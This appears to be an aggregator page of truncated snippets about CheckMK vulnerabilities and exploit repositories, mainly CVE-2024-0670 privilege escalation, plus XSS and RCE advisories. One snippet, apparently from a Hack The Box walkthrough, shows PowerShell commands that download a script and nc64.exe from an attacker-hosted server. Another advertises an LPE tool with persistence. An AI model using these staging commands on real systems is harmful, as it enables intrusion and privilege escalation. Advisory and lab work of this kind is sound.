CVE-2021-40905

CVE-2021-40905 - 조작된 .mkp 파일을 통한 RCE 애플리케이션: CheckMK 관리 웹 콘솔 소프트웨어 버전: 2.0.0p17 이하 공격 유형: RCE 해결 방법: 추후 결정 또는 https://exchange.checkmk.com/에 공유된 MKP는 CheckMk에서 수동으로 검토하며 악성 코드나 의심스러운 임포트 등을 확인합니다. 요약: CheckMk Enterprise Edition버전 1.5.0 2.0.0p17의 웹 관리 콘솔은 확장 패키지인 ".mkp" 파일 업로드를 적절히 검증하지 않아 원격 코드 실...

CVE-2024-0670

CVE-2024-0670 – CheckMK 에이전트의 로컬 권한 상승 PowerShell PoC 요약 이 저장소는 CheckMK 에이전트의 Windows 로컬 권한 상승 취약점인 CVE-2024-0670 에 대한 독립적인 PowerShell 개념 증명 을 제시합니다. 이 취약점으로 인해 낮은 권한의 로컬 사용자가 MSI 복구 프로세스 중 예측 가능한 명령 파일 실행을 악용하여 NT AUTHORITY\SYSTEM 으로 권한을 상승시킬 수 있습니다. 이 구현은 elsevar11이...

CVE-2024-0670

CVE-2024-0670 PoC 이 저장소는 Windows 시스템의 CheckMK Agent 에 영향을 미치는 CVE-2024-0670 취약점에 대한 PoC개념 증명 익스플로잇을 제공합니다. 이 취약점은 CheckMK Agent 가 C:\Windows\Temp 디렉터리에 임시 파일을 생성하고 실행할 때 발생합니다. 공격자는 쓰기 보호가 설정된 악성 파일을 해당 디렉터리에 미리 배치하여 이 동작을 악용할 수 있습니다. 에이전트가 이미 읽기 전용으로 존재하는 임시 파일을 생성하려고 하면 덮어쓰기에 실패하지만 SYSTEM 권한으로 ...

checkmk-log4j-scanner

checkmk 확장 프로그램: log4j2 CVE-2021-44228 점검 이 플러그인은 logpresso/CVE-2021-44228-Scanner Apache License 2.0를 기반으로 합니다. 작동 방식 다음 5단계로 실행됩니다. 1. 모든 .jar, .war, .ear, .aar 파일을 재귀적으로 찾습니다. 2. JAR 파일에서 META-INF/maven/org.apache.logging.log4j/log4j-core/pom.properties 항목을 찾습니다. 3. groupId, artifactId, versio...

CVE-2021-36563

CVE-2021-36563 – 다수의 저장형 및 반사형 XSS 애플리케이션: CheckMK Management Web Console 소프트웨어 버전: 1.5.0 2.0.0p9 공격 유형: 저장형 및 반사형 XSS 해결 방법: 소프트웨어 버전 2.0.0p10 이상으로 업데이트 요약: CheckMK 관리 웹 콘솔버전 1.5.0 2.0.0은 WATO 모듈의 다양한 매개변수에서 사용자 입력을 적절히 검사sanitize하지 않습니다. 이로 인해 공격자가 HTML 콘텐츠와 브라우저에 의해 해석되는 JavaScript 또는 기타 클라이언트...

CVE-2021-40904

CVE-2021-40904 - CheckMk의 Dokuwiki 내장 애플리케이션을 통한 RCE 애플리케이션: CheckMK 관리 웹 콘솔 소프트웨어 버전: 1.5.0 1.5.0p25 공격 유형: RCE 해결 방법: 버전 1.6 이상으로 업그레이드하십시오. 요약: CheckMk Raw Edition버전 1.5.0 1.5.0p25의 웹 관리 콘솔은 기본 설치된 웹 애플리케이션 Dokuwiki의 잘못된 구성으로 인해 PHP 코드 삽입이 가능합니다. 이를 통해 원격 코드 실행이 이루어집니다. 성공적인 공격을 위해서는 웹 관리 인터페이...

CVE-2021-40906

CVE-2021-40906 - 인증되지 않은 영역에서의 반사형 XSS 애플리케이션: CheckMK Management Web Console 소프트웨어 리비전: 1.5.0 1.5.0p25 작성자: Edgar Augusto Loyola Torres. 공격 유형: 반사형 XSS 해결 방법: 소프트웨어 리비전 1.6.0p26 이상으로 업데이트 요약: CheckMK Raw Edition 소프트웨어버전 1.5.0 1.6.0는 인증되지 않은 영역에 있는 웹 서비스 매개변수의 입력값을 정화새니타이즈하지 않습니다. 이 반사형 XSS로 인해...

CVE-2024-0670-CheckMK-Agent-Local-Privilege-Escalation-Exploit

CVE-2024-0670 – CheckMK 에이전트 로컬 권한 상승 PoC 이 저장소에는 CheckMK Windows 에이전트의 로컬 권한 상승 취약점인 CVE-2024-0670에 대한 간단하고 깔끔한 개념 증명PoC이 포함되어 있습니다. 낮은 권한의 사용자는 MSI 복구 중 실행되는 쓰기 가능한 임시 파일 경로를 악용하여 SYSTEM 권한을 얻을 수 있습니다. 🔍 취약점 요약 공급업체: Tribe29 CVE: CVE-2024-0670 권고:...

checkmk_cve-2024-0670

checkmkcve-2024-0670 ┌──root㉿kali-/HTB/NanoCorp └─ python3 -m http.server 80 PS C:\windows\temp iwr http://10.10.16.10/zh.ps1 -outfile "c:\windows\temp\zh.ps1" PS C:\windows\temp iwr http://10.10.16.10/nc64.exe -outfile "c:\windows\temp\nc64.exe" PS C:\windows\temp iwr...

Fsociety-CVE-2024-0670-CheckMK-LPE

🚀 Fsociety-CVE-2024-0670-CheckMK-LPE - 강력한 시스템 액세스를 간편하게 📦 개요 안녕하세요, 친구. 이 도구는 CheckMKCVE-2024-0670에 대한 고급 액세스를 제공합니다. 취약한 파일 처리를 악용하여 SYSTEM 권한을 획득합니다. 이 소프트웨어에는 특수한 지속성persistence 기능이 포함되어 있습니다. C++로 개발되었으며 Windows 환경에서 효과적인 권한 상승을 위한 필요한 도구를 사용자에게 제공하는 것을 목표로 합니다. 🛠️ 기능 고급 LPE : 확인된 취약점을 통해...

HTB-NanoCorp-CVE-2024-0670

CVE-2024-0670 - CheckMK Agent MSI 修復の特権昇格 NanoCorp HTB このリポジトリには、Hack The Box の NanoCorp マシン上で CVE-2024-0670 を悪用するために使用される PowerShell スクリプトが含まれています。この脆弱性により、低権限のユーザーが CheckMK Windows Agent の MSI 修復機能を悪用し、SYSTEM 権限で任意のコマンドを実行できるようになります。 注記: このエクスプロイトは NanoCorp Hack The Box...

CVE-2026-92882

Insufficiently protected credentials in the host and folder configuration endpoints of the REST API in Checkmk 2.5.0p15, 2.4.0p37, 2.3.0p51 and 2.2.0 EOL allows an authenticated user who may view a host's configuration to read stored SNMP community strings, SNMPv3 auth and privacy pass phrases an...

CVE-2026-90990

Improper neutralization of newlines in filter values in the monitoring host and service list APIs in Checkmk 2.5.0p14 allows an authenticated user to inject additional Livestatus query headers, bypassing object visibility restrictions in count queries to infer information about hosts and services...

CVE-2026-90990 Livestatus injection via monitoring filter values

Improper neutralization of newlines in filter values in the monitoring host and service list APIs in Checkmk 2.5.0p14 allows an authenticated user to inject additional Livestatus query headers, bypassing object visibility restrictions in count queries to infer information about hosts and services...

CVE-2026-90990

Checkmk versions prior to 2.5.0p14 are affected by improper neutralization of newlines in filter values within the monitoring host and service list APIs . An authenticated user can inject additional Livestatus query headers, enabling them to bypass object visibility restrictions in count queries ...

CVE-2026-90990 Livestatus injection via monitoring filter values

Improper neutralization of newlines in filter values in the monitoring host and service list APIs in Checkmk 2.5.0p14 allows an authenticated user to inject additional Livestatus query headers, bypassing object visibility restrictions in count queries to infer information about hosts and services...

CVE-2026-92882 Redact SNMP community, SNMPv3 pass phrases, and IPMI password in host config REST API GET responses

Insufficiently protected credentials in the host and folder configuration endpoints of the REST API in Checkmk 2.5.0p15, 2.4.0p37, 2.3.0p51 and 2.2.0 EOL allows an authenticated user who may view a host's configuration to read stored SNMP community strings, SNMPv3 auth and privacy pass phrases an...

CVE-2026-92882

Checkmk versions <2.5.0p15, <2.4.0p37,

CVE-2026-92882 Redact SNMP community, SNMPv3 pass phrases, and IPMI password in host config REST API GET responses

Insufficiently protected credentials in the host and folder configuration endpoints of the REST API in Checkmk 2.5.0p15, 2.4.0p37, 2.3.0p51 and 2.2.0 EOL allows an authenticated user who may view a host's configuration to read stored SNMP community strings, SNMPv3 auth and privacy pass phrases an...

CVE-2026-90990: Improper Neutralization of CRLF Sequences

Improper neutralization of newlines in filter values in the monitoring host and service list APIs in Checkmk 2.5.0p14 allows an authenticated user to inject additional Livestatus query headers, bypassing object visibility restrictions in count queries to infer information about hosts and services...